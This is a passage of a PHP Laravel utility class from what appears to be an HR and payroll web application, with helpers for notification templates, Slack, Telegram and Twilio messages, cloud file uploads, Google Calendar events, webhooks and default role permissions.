env('APP_NAME'); $arrValue['company_name'] = self::settings()['company_name']; $arrValue['app_url'] = '' . env('APP_URL') . ''; return str_replace($arrVariable, array_values($arrValue), $content); } public static function makeEmailLang($lang) { $template = EmailTemplate::all(); foreach ($template as $t) { $default_lang = EmailTemplateLang::where('parent_id', '=', $t->id)->where('lang', 'LIKE', 'en')->first(); $emailTemplateLang = new EmailTemplateLang(); $emailTemplateLang->parent_id = $t->id; $emailTemplateLang->lang = $lang; $emailTemplateLang->subject = $default_lang->subject; $emailTemplateLang->content = $default_lang->content; $emailTemplateLang->save(); } } public static function getAdminPaymentSetting() { if (self::$payments === null) { self::$payments = self::fetchAdminPaymentSetting(); } return self::$payments; } public static function fetchAdminPaymentSetting() { $data = \DB::table('admin_payment_settings'); $settings = []; if (\Auth::check()) { $user_id = 1; $data = $data->where('created_by', '=', $user_id); } $data = $data->get(); foreach ($data as $row) { $settings[$row->name] = $row->value; } return $settings; } public static function error_res($msg = "", $args = array()) { $msg = $msg == "" ? "error" : $msg; $msg_id = 'error.' . $msg; $converted = \Lang::get($msg_id, $args); $msg = $msg_id == $converted ? $msg : $converted; $json = array( 'flag' => 0, 'msg' => $msg, ); return $json; } public static function success_res($msg = "", $args = array()) { $msg = $msg == "" ? "success" : $msg; $msg_id = 'success.' . $msg; $converted = \Lang::get($msg_id, $args); $msg = $msg_id == $converted ? $msg : $converted; $json = array( 'flag' => 1, 'msg' => $msg, ); return $json; } public static function getProgressColor($percentage) { $color = ''; if ($percentage <= 20) { $color = 'danger'; } elseif ($percentage > 20 && $percentage <= 40) { $color = 'warning'; } elseif ($percentage > 40 && $percentage <= 60) { $color = 'info'; } elseif ($percentage > 60 && $percentage <= 80) { $color = 'primary'; } elseif ($percentage >= 80) { $color = 'success'; } return $color; } public static function getselectedThemeColor() { $color = env('THEME_COLOR'); if ($color == "" || $color == null) { $color = 'blue'; } return $color; } public static function getAllThemeColors() { $colors = [ 'blue', 'denim', 'sapphire', 'olympic', 'violet', 'black', 'cyan', 'dark-blue-natural', 'gray-dark', 'light-blue', 'light-purple', 'magenta', 'orange-mute', 'pale-green', 'rich-magenta', 'rich-red', 'sky-gray' ]; return $colors; } public static function send_slack_msg($slug, $obj) { $notification_template = NotificationTemplates::where('slug', $slug)->first(); if (!empty($notification_template) && !empty($obj)) { $curr_noti_tempLang = NotificationTemplateLangs::where('parent_id', '=', $notification_template->id)->where('lang', \Auth::user()->lang)->where('created_by', '=', \Auth::user()->creatorId())->first(); if (empty($curr_noti_tempLang)) { $curr_noti_tempLang = NotificationTemplateLangs::where('parent_id', '=', $notification_template->id)->where('lang', \Auth::user()->lang)->first(); } if (empty($curr_noti_tempLang)) { $curr_noti_tempLang = NotificationTemplateLangs::where('parent_id', '=', $notification_template->id)->where('lang', 'en')->first(); } if (!empty($curr_noti_tempLang) && !empty($curr_noti_tempLang->content)) { $msg = self::replaceVariable($curr_noti_tempLang->content, $obj); } } if (isset($msg)) { $settings = Utility::settings(\Auth::user()->creatorId()); try { if (isset($settings['slack_webhook']) && !empty($settings['slack_webhook'])) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $settings['slack_webhook']); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(['text' => $msg])); $headers = array(); $headers[] = 'Content-Type: application/json'; curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $result = curl_exec($ch); if (curl_errno($ch)) { echo 'Error:' . curl_error($ch); } curl_close($ch); } } catch (\Exception $e) { } } } public static function send_telegram_msg($slug, $obj) { $notification_template = NotificationTemplates::where('slug', $slug)->first(); if (!empty($notification_template) && !empty($obj)) { $curr_noti_tempLang = NotificationTemplateLangs::where('parent_id', '=', $notification_template->id)->where('lang', \Auth::user()->lang)->where('created_by', '=', \Auth::user()->creatorId())->first(); if (empty($curr_noti_tempLang)) { $curr_noti_tempLang = NotificationTemplateLangs::where('parent_id', '=', $notification_template->id)->where('lang', \Auth::user()->lang)->first(); } if (empty($curr_noti_tempLang)) { $curr_noti_tempLang = NotificationTemplateLangs::where('parent_id', '=', $notification_template->id)->where('lang', 'en')->first(); } if (!empty($curr_noti_tempLang) && !empty($curr_noti_tempLang->content)) { $msg = self::replaceVariable($curr_noti_tempLang->content, $obj); } } if (isset($msg)) { $settings = Utility::settings(\Auth::user()->creatorId()); try { $msg = $msg; // Set your Bot ID and Chat ID. $telegrambot = $settings['telegram_accestoken']; $telegramchatid = $settings['telegram_chatid']; // Function call with your own text or variable $url = 'https://api.telegram.org/bot' . $telegrambot . '/sendMessage'; $data = array( 'chat_id' => $telegramchatid, 'text' => $msg, ); $options = array( 'http' => array( 'method' => 'POST', 'header' => "Content-Type:application/x-www-form-urlencoded\r\n", 'content' => http_build_query($data), ), ); $context = stream_context_create($options); $result = file_get_contents($url, false, $context); $url = $url; } catch (\Exception $e) { } } } public static function send_twilio_msg($to, $slug, $obj) { $notification_template = NotificationTemplates::where('slug', $slug)->first(); if (!empty($notification_template) && !empty($obj)) { $curr_noti_tempLang = NotificationTemplateLangs::where('parent_id', '=', $notification_template->id)->where('lang', \Auth::user()->lang)->where('created_by', '=', \Auth::user()->creatorId())->first(); if (empty($curr_noti_tempLang)) { $curr_noti_tempLang = NotificationTemplateLangs::where('parent_id', '=', $notification_template->id)->where('lang', \Auth::user()->lang)->first(); } if (empty($curr_noti_tempLang)) { $curr_noti_tempLang = NotificationTemplateLangs::where('parent_id', '=', $notification_template->id)->where('lang', 'en')->first(); } if (!empty($curr_noti_tempLang) && !empty($curr_noti_tempLang->content)) { $msg = self::replaceVariable($curr_noti_tempLang->content, $obj); } } if (isset($msg)) { $settings = Utility::settings(\Auth::user()->creatorId()); try { $account_sid = $settings['twilio_sid']; $auth_token = $settings['twilio_token']; $twilio_number = $settings['twilio_from']; $client = new Client($account_sid, $auth_token); $client->messages->create($to, [ 'from' => $twilio_number, 'body' => $msg ]); } catch (\Exception $e) { } } } // public static function colorset() // { // if(\Auth::user()) // { // $user = \Auth::user()->id; // $setting = DB::table('settings')->where('created_by',$user)->pluck('value','name')->toArray(); // } // else{ // $setting = DB::table('settings')->pluck('value','name')->toArray(); // } // return $setting; // $is_dark_mode = $setting['dark_mode']; // if($is_dark_mode == 'on'){ // return 'logo-light.png'; // }else{ // return 'logo-dark.png'; // } // } // public static function mode_layout() // { // $data = DB::table('settings'); // $data = $data->where('created_by', '=', 1); // $data = $data->get(); // $settings = [ // "dark_mode" => "off", // "is_sidebar_transperent" => "off", // "theme_color" => 'theme-3' // ]; // foreach($data as $row) // { // $settings[$row->name] = $row->value; // } // return $settings; // } public static function get_superadmin_logo() { $is_dark_mode = DB::table('settings')->where('created_by', '1')->pluck('value', 'name')->toArray(); if (!empty($is_dark_mode['dark_mode'])) { $is_dark_modes = $is_dark_mode['dark_mode']; if ($is_dark_modes == 'on') { return 'logo-light.png'; } else { return 'logo-dark.png'; } } else { return 'logo-dark.png'; } } public static function get_company_logo() { $is_dark_mode = DB::table('settings')->where('created_by', Auth::user()->id)->pluck('value', 'name')->toArray(); $is_dark_modes = !empty($is_dark_mode['dark_mode']) ? $is_dark_mode['dark_mode'] : 'off'; if ($is_dark_modes == 'on') { return Utility::getValByName('company_logo_light'); } else { return Utility::getValByName('company_logo'); } } // public static function getLayoutsSetting() // { // // $data = DB::table('settings'); // // if(\Auth::check()){ // // $data =\DB::table('settings')->where('created_by', '=', \Auth::user()->id )->get(); // // if(count($data)==0){ // // $data =\DB::table('settings')->where('created_by', '=', 1 )->get(); // // } // // }else{ // // $data = $data->where('created_by', '=', 1); // // } // // $data = $data->get(); // // $settings = [ // // "cust_theme_bg"=>"on", // // "cust_darklayout"=>"off", // // "color"=>"theme-3", // // ]; // // foreach($data as $row) // // { // // $settings[$row->name] = $row->value; // // } // // return $settings; // $data = DB::table('settings'); // if (\Auth::check()) { // $data=$data->where('created_by','=',\Auth::user()->creatorId())->get(); // if(count($data)==0){ // $data =DB::table('settings')->where('created_by', '=', 1 )->get(); // } // } else { // $data->where('created_by', '=', 1); // $data = $data->get(); // $settings = [ // "is_sidebar_transperent"=>"on", // "dark_mode"=>"off", // "color"=>"theme-3", // ]; // } // } public static function colorset() { if (self::$settings === null) { self::$settings = self::fetchcolorset(); } return self::$settings; } public static function fetchcolorset() { if (\Auth::user()) { if (\Auth::user()->type == 'super admin') { $user = \Auth::user(); $setting = DB::table('settings')->where('created_by', $user->id)->pluck('value', 'name')->toArray(); } else { $setting = DB::table('settings')->where('created_by', \Auth::user()->creatorId())->pluck('value', 'name')->toArray(); } } else { $user = User::where('type', 'super admin')->first(); $setting = DB::table('settings')->where('created_by', $user->id)->pluck('value', 'name')->toArray(); } if (!isset($setting['color'])) { $setting = Utility::settings(); } return $setting; } public static function GetLogo() { $setting = Utility::colorset(); if (\Auth::user() && \Auth::user()->type != 'super admin') { if (Utility::getValByName('cust_darklayout') == 'on') { return Utility::getValByName('company_logo_light'); } else { return Utility::getValByName('company_logo'); } } else { if (Utility::getValByName('cust_darklayout') == 'on') { return Utility::getValByName('light_logo'); } else { return Utility::getValByName('dark_logo'); } } } public static function GetLogolanding() { $setting = Utility::colorset(); if (\Auth::user() && \Auth::user()->type != 'super admin') { if (Utility::getValByName('cust_darklayout') == 'on') { return Utility::getValByName('company_logo_light'); } else { return Utility::getValByName('company_logo'); } } else { return Utility::getValByName('light_logo'); } } public static function getTargetrating($designationid, $competencyCount) { $indicator = Indicator::where('designation', $designationid)->first(); if (!empty($indicator->rating) && ($competencyCount != 0)) { $rating = json_decode($indicator->rating, true); $starsum = array_sum($rating); $overallrating = $starsum / $competencyCount; } else { $overallrating = 0; } return $overallrating; } public static function upload_file($request, $key_name, $name, $path, $custom_validation = []) { try { $settings = Utility::getStorageSetting(); if (!empty($settings['storage_setting'])) { if ($settings['storage_setting'] == 'wasabi') { config( [ 'filesystems.disks.wasabi.key' => $settings['wasabi_key'], 'filesystems.disks.wasabi.secret' => $settings['wasabi_secret'], 'filesystems.disks.wasabi.region' => $settings['wasabi_region'], 'filesystems.disks.wasabi.bucket' => $settings['wasabi_bucket'], 'filesystems.disks.wasabi.endpoint' => 'https://s3.' . $settings['wasabi_region'] . '.wasabisys.com' ] ); $max_size = !empty($settings['wasabi_max_upload_size']) ? $settings['wasabi_max_upload_size'] : '2048'; $mimes = !empty($settings['wasabi_storage_validation']) ? $settings['wasabi_storage_validation'] : ''; } else if ($settings['storage_setting'] == 's3') { config( [ 'filesystems.disks.s3.key' => $settings['s3_key'], 'filesystems.disks.s3.secret' => $settings['s3_secret'], 'filesystems.disks.s3.region' => $settings['s3_region'], 'filesystems.disks.s3.bucket' => $settings['s3_bucket'], 'filesystems.disks.s3.use_path_style_endpoint' => false, ] ); $max_size = !empty($settings['s3_max_upload_size']) ? $settings['s3_max_upload_size'] : '2048'; $mimes = !empty($settings['s3_storage_validation']) ? $settings['s3_storage_validation'] : ''; } else { $max_size = !empty($settings['local_storage_max_upload_size']) ? $settings['local_storage_max_upload_size'] : '2048'; $mimes = !empty($settings['local_storage_validation']) ? $settings['local_storage_validation'] : ''; } $file = $request->$key_name; if (count($custom_validation) > 0) { $validation = $custom_validation; } else { $validation = [ 'mimes:' . $mimes, 'max:' . $max_size, ]; } $validator = \Validator::make($request->all(), [ $key_name => $validation ]); if ($validator->fails()) { $res = [ 'flag' => 0, 'msg' => $validator->messages()->first(), ]; return $res; } else { $name = $name; if ($settings['storage_setting'] == 'local') { $request->$key_name->move(storage_path($path), $name); $path = $path . $name; } else if ($settings['storage_setting'] == 'wasabi') { $path = \Storage::disk('wasabi')->putFileAs( $path, $file, $name ); // $path = $path.$name; } else if ($settings['storage_setting'] == 's3') { $path = \Storage::disk('s3')->putFileAs( $path, $file, $name ); // $path = $path.$name; } $res = [ 'flag' => 1, 'msg' => 'success', 'url' => $path ]; return $res; } } else { $res = [ 'flag' => 0, 'msg' => __('Please set proper configuration for storage.'), ]; return $res; } } catch (\Exception $e) { $res = [ 'flag' => 0, 'msg' => $e->getMessage(), ]; return $res; } } public static function upload_coustom_file($request, $key_name, $name, $path, $data_key, $custom_validation = []) { $multifile = [ $key_name => $request->file($key_name)[$data_key], ]; try { $settings = Utility::getStorageSetting(); if (!empty($settings['storage_setting'])) { if ($settings['storage_setting'] == 'wasabi') { config( [ 'filesystems.disks.wasabi.key' => $settings['wasabi_key'], 'filesystems.disks.wasabi.secret' => $settings['wasabi_secret'], 'filesystems.disks.wasabi.region' => $settings['wasabi_region'], 'filesystems.disks.wasabi.bucket' => $settings['wasabi_bucket'], 'filesystems.disks.wasabi.endpoint' => 'https://s3.' . $settings['wasabi_region'] . '.wasabisys.com' ] ); $max_size = !empty($settings['wasabi_max_upload_size']) ? $settings['wasabi_max_upload_size'] : '2048'; $mimes = !empty($settings['wasabi_storage_validation']) ? $settings['wasabi_storage_validation'] : ''; } else if ($settings['storage_setting'] == 's3') { config( [ 'filesystems.disks.s3.key' => $settings['s3_key'], 'filesystems.disks.s3.secret' => $settings['s3_secret'], 'filesystems.disks.s3.region' => $settings['s3_region'], 'filesystems.disks.s3.bucket' => $settings['s3_bucket'], 'filesystems.disks.s3.use_path_style_endpoint' => false, ] ); $max_size = !empty($settings['s3_max_upload_size']) ? $settings['s3_max_upload_size'] : '2048'; $mimes = !empty($settings['s3_storage_validation']) ? $settings['s3_storage_validation'] : ''; } else { $max_size = !empty($settings['local_storage_max_upload_size']) ? $settings['local_storage_max_upload_size'] : '2048'; $mimes = !empty($settings['local_storage_validation']) ? $settings['local_storage_validation'] : ''; } $file = $request->$key_name; if (count($custom_validation) > 0) { $validation = $custom_validation; } else { $validation = [ 'mimes:' . $mimes, 'max:' . $max_size, ]; } $validator = \Validator::make($multifile, [ $key_name => $validation ]); if ($validator->fails()) { $res = [ 'flag' => 0, 'msg' => $validator->messages()->first(), ]; return $res; } else { $name = $name; if ($settings['storage_setting'] == 'local') { \Storage::disk()->putFileAs( $path, $request->file($key_name)[$data_key], $name ); $path = $name; } else if ($settings['storage_setting'] == 'wasabi') { \Storage::disk('wasabi')->putFileAs( $path, $request->file($key_name)[$data_key], $name ); $path = $name; } else if ($settings['storage_setting'] == 's3') { \Storage::disk('s3')->putFileAs( $path, $request->file($key_name)[$data_key], $name ); $path = $name; } $res = [ 'flag' => 1, 'msg' => 'success', 'url' => $path ]; return $res; } } else { $res = [ 'flag' => 0, 'msg' => __('Please set proper configuration for storage.'), ]; return $res; } } catch (\Exception $e) { $res = [ 'flag' => 0, 'msg' => $e->getMessage(), ]; return $res; } } public static function get_file($path) { $settings = self::settings(); try { if ($settings['storage_setting'] == 'wasabi') { config( [ 'filesystems.disks.wasabi.key' => $settings['wasabi_key'], 'filesystems.disks.wasabi.secret' => $settings['wasabi_secret'], 'filesystems.disks.wasabi.region' => $settings['wasabi_region'], 'filesystems.disks.wasabi.bucket' => $settings['wasabi_bucket'], 'filesystems.disks.wasabi.endpoint' => 'https://s3.' . $settings['wasabi_region'] . '.wasabisys.com' ] ); } elseif ($settings['storage_setting'] == 's3') { config( [ 'filesystems.disks.s3.key' => $settings['s3_key'], 'filesystems.disks.s3.secret' => $settings['s3_secret'], 'filesystems.disks.s3.region' => $settings['s3_region'], 'filesystems.disks.s3.bucket' => $settings['s3_bucket'], 'filesystems.disks.s3.use_path_style_endpoint' => false, ] ); } return \Storage::disk($settings['storage_setting'])->url($path); } catch (\Throwable $th) { return ''; } } public static function colorCodeData($type) { if ($type == 'event') { return 1; } elseif ($type == 'zoom_meeting') { return 2; } elseif ($type == 'task') { return 3; } elseif ($type == 'appointment') { return 11; } elseif ($type == 'rotas') { return 3; } elseif ($type == 'holiday') { return 4; } elseif ($type == 'call') { return 10; } elseif ($type == 'meeting') { return 5; } elseif ($type == 'leave') { return 6; } elseif ($type == 'work_order') { return 7; } elseif ($type == 'lead') { return 7; } elseif ($type == 'deal') { return 8; } elseif ($type == 'interview_schedule') { return 9; } else { return 11; } } public static $colorCode = [ 1 => 'event-warning', 2 => 'event-secondary', 3 => 'event-success', 4 => 'event-warning', 5 => 'event-danger', 6 => 'event-dark', 7 => 'event-black', 8 => 'event-info', 9 => 'event-secondary', 10 => 'event-success', 11 => 'event-warning', ]; public static function googleCalendarConfig() { $setting = Utility::settings(); // $path = storage_path('app/google-calendar/' . $setting['google_calender_json_file']); $path = storage_path($setting['google_calender_json_file']); config([ 'google-calendar.default_auth_profile' => 'service_account', 'google-calendar.auth_profiles.service_account.credentials_json' => $path, 'google-calendar.auth_profiles.oauth.credentials_json' => $path, 'google-calendar.auth_profiles.oauth.token_json' => $path, 'google-calendar.calendar_id' => isset($setting['google_clender_id']) ? $setting['google_clender_id'] : '', 'google-calendar.user_to_impersonate' => '', ]); } public static function addCalendarDataTime($request, $type) { Self::googleCalendarConfig(); $event = new GoogleEvent(); $event->name = $request->title; $date = $request->start_date . $request->time; $event->startDateTime = Carbon::createFromFormat('Y-m-d H:i', $date); $event->endDateTime = Carbon::createFromFormat('Y-m-d H:i', $date); $event->colorId = Self::colorCodeData($type); $event->save(); } public static function addCalendarData($request, $type) { Self::googleCalendarConfig(); $event = new GoogleEvent(); $event->name = $request->title; $event->startDateTime = Carbon::parse($request->start_date); $event->StartTime = Carbon::parse($request->time); $event->endDateTime = Carbon::parse($request->end_date); $event->colorId = Self::colorCodeData($type); $event->save(); } public static function getCalendarData($type) { Self::googleCalendarConfig(); $data = GoogleEvent::get(); $type = Self::colorCodeData($type); $arrayJson = []; foreach ($data as $val) { $end_date = date_create($val->endDateTime); date_add($end_date, date_interval_create_from_date_string("1 days")); if ($val->colorId == "$type") { $arrayJson[] = [ "id" => $val->id, "title" => $val->summary, "start" => $val->startDateTime, "end" => date_format($end_date, "Y-m-d H:i:s"), "className" => Self::$colorCode[$type], "allDay" => true, ]; } } return $arrayJson; } public static function getSeoSetting() { $data = \DB::table('settings')->whereIn('name', ['meta_title', 'meta_description', 'meta_image'])->get(); $settings = []; foreach ($data as $row) { $settings[$row->name] = $row->value; } return $settings; } public static function webhookSetting($module) { $webhook = Webhook::where('module', $module)->where('created_by', '=', \Auth::user()->creatorId())->first(); if (!empty($webhook)) { $url = $webhook->url; $method = $webhook->method; $reference_url = "https://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; $data['method'] = $method; $data['reference_url'] = $reference_url; $data['url'] = $url; return $data; } return false; } public static function WebhookCall($url = null, $parameter = null, $method = 'POST') { if (!empty($url) && !empty($parameter)) { try { $curlHandle = curl_init($url); curl_setopt($curlHandle, CURLOPT_POSTFIELDS, $parameter); curl_setopt($curlHandle, CURLOPT_RETURNTRANSFER, true); curl_setopt($curlHandle, CURLOPT_CUSTOMREQUEST, strtoupper($method)); $curlResponse = curl_exec($curlHandle); curl_close($curlHandle); if (empty($curlResponse)) { return true; } else { return false; } } catch (\Throwable $th) { return false; } } else { return false; } } public static function getCookieSetting() { if (self::$cookies === null) { self::$cookies = self::fetchCookieSetting(); } return self::$cookies; } public static function fetchCookieSetting() { $data = \DB::table('settings')->whereIn('name', [ 'enable_cookie', 'cookie_logging', 'cookie_title', 'cookie_description', 'necessary_cookies', 'strictly_cookie_title', 'strictly_cookie_description', 'more_information_description', 'contactus_url' ])->get(); $settings = [ 'enable_cookie' => 'off', 'necessary_cookies' => '', 'cookie_logging' => '', 'cookie_title' => '', 'cookie_description' => '', 'strictly_cookie_title' => '', 'strictly_cookie_description' => '', 'more_information_description' => '', 'contactus_url' => '', ]; foreach ($data as $row) { $settings[$row->name] = $row->value; } return $settings; } public static function get_device_type($user_agent) { $mobile_regex = '/(?:phone|windows\s+phone|ipod|blackberry|(?:android|bb\d+|meego|silk|googlebot) .+? mobile|palm|windows\s+ce|opera mini|avantgo|mobilesafari|docomo)/i'; $tablet_regex = '/(?:ipad|playbook|(?:android|bb\d+|meego|silk)(?! .+? mobile))/i'; if (preg_match_all($mobile_regex, $user_agent)) { return 'mobile'; } else { if (preg_match_all($tablet_regex, $user_agent)) { return 'tablet'; } else { return 'desktop'; } } } public function extraKeyword() { $keyArr = [ __('Branch name'), __('Award name'), __('Occasion name'), __('Company policy name'), __('Ticket priority'), __('Event name'), __('Purpose of visit'), __('Place of visit'), __('Contract number'), __('Contract company name'), ]; } public static function AnnualLeaveCycle() { $start_date = '' . date('Y') . '-01-01'; $end_date = '' . date('Y') . '-12-31'; $start_date = date('Y-m-d', strtotime($start_date . ' -1 day')); $end_date = date('Y-m-d', strtotime($end_date . ' +1 day')); $date['start_date'] = $start_date; $date['end_date'] = $end_date; return $date; } // start for (plans) storage limit - for file upload size public static function updateStorageLimit($company_id, $image_size) { $image_size = number_format($image_size / 1048576, 2); $user = User::find($company_id); $plan = Plan::find($user->plan); $total_storage = $user->storage_limit + $image_size; if ($plan->storage_limit <= $total_storage && $plan->storage_limit != -1) { $error = __('Plan storage limit is over so please upgrade the plan.'); return $error; } else { $user->storage_limit = $total_storage; } $user->save(); return 1; } public static function changeStorageLimit($company_id, $file_path) { $files = \File::glob(storage_path($file_path)); $fileSize = 0; foreach ($files as $file) { $fileSize += \File::size($file); } $image_size = number_format($fileSize / 1048576, 2); $user = User::find($company_id); $plan = Plan::find($user->plan); $total_storage = $user->storage_limit - $image_size; $user->storage_limit = $total_storage; $user->save(); $status = false; foreach ($files as $key => $file) { if (\File::exists($file)) { $status = \File::delete($file); } } return true; } // end for (plans) storage limit - for file upload size public static function flagOfCountry() { $arr = [ 'ar' => '🇦🇪 ar', 'da' => '🇩🇰 da', 'de' => '🇩🇪 de', 'es' => '🇪🇸 es', 'fr' => '🇫🇷 fr', 'it' => '🇮🇹 it', 'ja' => '🇯🇵 ja', 'nl' => '🇳🇱 nl', 'pl' => '🇵🇱 pl', 'ru' => '🇷🇺 ru', 'pt' => '🇵🇹 pt', 'en' => '🇮🇳 en', 'tr' => '🇹🇷 tr', 'pt-br' => '🇵🇹 pt-br', ]; return $arr; } public static function getChatGPTSettings() { $user = User::find(\Auth::user()->creatorId()); $plan = \App\Models\Plan::find($user->plan); return $plan; } public static function getChatGPTSetting() { $data = DB::table('settings'); if (\Auth::check()) { $data = $data->where('created_by', '=', 1)->get(); if (count($data) == 0) { $data = DB::table('settings')->where('created_by', '=', 1)->get(); } } else { $data->where('created_by', '=', 1); $data = $data->get(); } $settings = [ 'chatgpt_key' => '', 'chatgpt_model' => '', ]; foreach ($data as $row) { $settings[$row->name] = $row->value; } return $settings; } public static function languagecreate() { $languages = Utility::langList(); foreach ($languages as $key => $lang) { $languageExist = Languages::where('code', $key)->first(); if (empty($languageExist)) { $language = new Languages(); $language->code = $key; $language->fullName = $lang; $language->save(); } } } public static function langSetting() { $data = DB::table('settings'); $data = $data->where('created_by', '=', 1)->get(); if (count($data) == 0) { $data = DB::table('settings')->where('created_by', '=', 1)->get(); } $settings = []; foreach ($data as $row) { $settings[$row->name] = $row->value; } return $settings; } public static function langList() { $languages = [ "ar" => "Arabic", "zh" => "Chinese", "da" => "Danish", "de" => "German", "en" => "English", "es" => "Spanish", "fr" => "French", "he" => "Hebrew", "it" => "Italian", "ja" => "Japanese", "nl" => "Dutch", "pl" => "Polish", "pt" => "Portuguese", "ru" => "Russian", "tr" => "Turkish", "pt-br" => "Portuguese(Brazil)" ]; return $languages; } public static function get_messenger_packages_migration() { $totalMigration = 0; $messengerPath = glob(base_path() . '/vendor/munafio/chatify/database/migrations' . DIRECTORY_SEPARATOR . '*.php'); if (!empty($messengerPath)) { $messengerMigration = str_replace('.php', '', $messengerPath); $totalMigration = count($messengerMigration); } return $totalMigration; } //create company default roles public static function MakeRole($company_id) { $data = []; $hr_role_permission = [ "Manage Language", "Manage User", "Create User", "Edit User", "Delete User", "Manage Award", "Create Award", "Edit Award", "Delete Award", "Manage Transfer", "Create Transfer", "Edit Transfer", "Delete Transfer", "Manage Resignation", "Create Resignation", "Edit Resignation", "Delete Resignation", "Manage Travel", "Create Travel", "Edit Travel", "Delete Travel", "Manage Promotion", "Create Promotion", "Edit Promotion", "Delete Promotion", "Manage Complaint", "Create Complaint", "Edit Complaint", "Delete Complaint", "Manage Warning", "Create Warning", "Edit Warning", "Delete Warning", "Manage Termination", "Create Termination", "Edit Termination", "Delete Termination", "Manage Department", "Create Department", "Edit Department", "Delete Department", "Manage Designation", "Create Designation", "Edit Designation", "Delete Designation", "Manage Document Type", "Create Document Type", "Edit Document Type", "Delete Document Type", "Manage Branch", "Create Branch", "Edit Branch", "Delete Branch", "Manage Award Type", "Create Award Type", "Edit Award Type", "Delete Award Type", "Manage Termination Type", "Create Termination Type", "Edit Termination Type", "Delete Termination Type", "Manage Employee", "Create Employee", "Edit Employee", "Delete Employee", "Show Employee", "Manage Payslip Type", "Create Payslip Type", "Edit Payslip Type", "Delete Payslip Type", "Manage Allowance Option", "Create Allowance Option", "Edit Allowance Option", "Delete Allowance Option", "Manage Loan Option", "Create Loan Option", "Edit Loan Option", "Delete Loan Option", "Manage Deduction Option", "Create Deduction Option", "Edit Deduction Option", "Delete Deduction Option", "Manage Set Salary", "Create Set Salary", "Edit Set Salary", "Delete Set Salary", "Manage Allowance", "Create Allowance", "Edit Allowance", "Delete Allowance", "Create Commission", "Create Loan", "Create Saturation Deduction", "Create Other Payment", "Create Overtime", "Edit Commission", "Delete Commission", "Edit Loan", "Delete Loan", "Edit Saturation Deduction", "Delete Saturation Deduction", "Edit Other Payment", "Delete Other Payment", "Edit Overtime", "Delete Overtime", "Manage Pay Slip", "Create Pay Slip", "Edit Pay Slip", "Delete Pay Slip", "Manage Event", "Create Event", "Edit Event", "Delete Event", "Manage Announcement", "Create Announcement", "Edit Announcement", "Delete Announcement", "Manage Leave Type", "Create Leave Type", "Edit Leave Type", "Delete Leave Type", "Manage Leave", "Create Leave", "Edit Leave", "Delete Leave", "Manage Meeting", "Create Meeting", "Edit Meeting", "Delete Meeting", "Manage Ticket", "Create Ticket", "Edit Ticket", "Delete Ticket", "Manage Attendance", "Create Attendance", "Edit Attendance", "Delete Attendance", "Manage TimeSheet", "Create TimeSheet", "Edit TimeSheet", "Delete TimeSheet", 'Manage Assets', 'Create Assets', 'Edit Assets', 'Delete Assets', 'Manage Document', 'Manage Employee Profile', 'Show Employee Profile', 'Manage Employee Last Login', 'Manage Indicator', 'Create Indicator', 'Edit Indicator', 'Delete Indicator', 'Show Indicator', 'Manage Appraisal', 'Create Appraisal', 'Edit Appraisal', 'Delete Appraisal', 'Show Appraisal', "Manage Goal Type", "Create Goal Type", "Edit Goal Type", "Delete Goal Type", "Manage Goal Tracking", "Create Goal Tracking", "Edit Goal Tracking", "Delete Goal Tracking", "Manage Company Policy", "Create Company Policy", "Edit Company Policy", "Delete Company Policy", "Manage Trainer", "Create Trainer", "Edit Trainer", "Delete Trainer", "Show Trainer", "Manage Training", "Create Training", "Edit Training", "Delete Training", "Show Training", "Manage Training Type", "Create Training Type", "Edit Training Type", "Delete Training Type", "Manage Holiday", "Create Holiday", "Edit Holiday", "Delete Holiday", "Manage Job Category", "Create Job Category", "Edit Job Category", "Delete Job Category", "Manage Job Stage", "Create Job Stage", "Edit Job Stage", "Delete Job Stage", "Manage Job", "Create Job", "Edit Job", "Delete Job", "Show Job", "Manage Job Application", "Create Job Application", "Edit Job Application", "Delete Job Application", "Show Job Application", "Move Job Application", "Add Job Application Note", "Delete Job Application Note", "Add Job Application Skill", "Manage Job OnBoard", "Manage Custom Question", "Create Custom Question", "Edit Custom Question", "Delete Custom Question", "Manage Interview Schedule", "Create Interview Schedule", "Edit Interview Schedule", "Delete Interview Schedule", "Manage Career", "Manage Performance Type", "Create Performance Type", "Edit Performance Type", "Delete Performance Type", "Manage Contract", "Create Contract", "Edit Contract", "Delete Contract", "Store Note", "Delete Note", "Store Comment", "Delete Comment", "Delete Attachment", "Manage Contract Type", "Create Contract Type", "Edit Contract Type", "Delete Contract Type", ]; $hr_permission = Role::where('name', 'hr')->where('created_by', $company_id)->where('guard_name', 'web')->first(); if (empty($hr_permission)) { $hr_permission = new Role(); $hr_permission->name = 'hr'; $hr_permission->guard_name = 'web'; $hr_permission->created_by = $company_id; $hr_permission->save(); foreach ($hr_role_permission as $permission_s) { $permission = Permission::where('name', $permission_s)->first(); $hr_permission->givePermissionTo($permission); } } $employee_role_permission = [ "Manage Award", "Manage Transfer", "Manage Resignation", "Create Resignation", "Edit Resignation", "Delete Resignation", "Manage Travel", "Manage Promotion", "Manage Complaint", "Create Complaint", "Edit Complaint", "Delete Complaint", "Manage Warning", "Create Warning", "Edit Warning", "Delete Warning", "Manage Termination", "Manage Employee", "Edit Employee", "Show Employee", "Manage Allowance", "Manage Event", "Manage Announcement", "Manage Leave", "Create Leave", "Edit Leave", "Delete Leave", "Manage Meeting", "Manage Ticket", "Create Ticket", "Edit Ticket", "Delete Ticket", "Manage Language", "Manage TimeSheet", "Create TimeSheet", "Edit TimeSheet", "Delete TimeSheet", "Manage Attendance", 'Manage Document', "Manage Holiday", "Manage Career", "Manage Contract", "Store Note", "Delete Note", "Store Comment", "Delete Comment", "Delete Attachment", ]; $employee_permission = Role::where('name', 'employee')->where('created_by', $company_id)->where('guard_name', 'web')->first(); if (empty($employee_permission)) { $employee_permission = new Role(); $employee_permission->name = 'employee'; $employee_permission->guard_name = 'web'; $employee_permission->created_by = $company_id; $employee_permission->save(); foreach ($employee_role_permission as $permission_s) { $permission = Permission::where('name', $permission_s)->first(); $employee_permission->givePermissionTo($permission); } } $data['employee_permission'] = $employee_permission; return $data; } public static function getSMTPDetails($user_id) { $settings = Utility::settings($user_id); if ($settings) { config([ 'mail.default' => isset($settings['mail_driver']) ? $settings['mail_driver'] : '', 'mail.mailers.smtp.host' => isset($settings['mail_host']) ? $settings['mail_host'] : '', 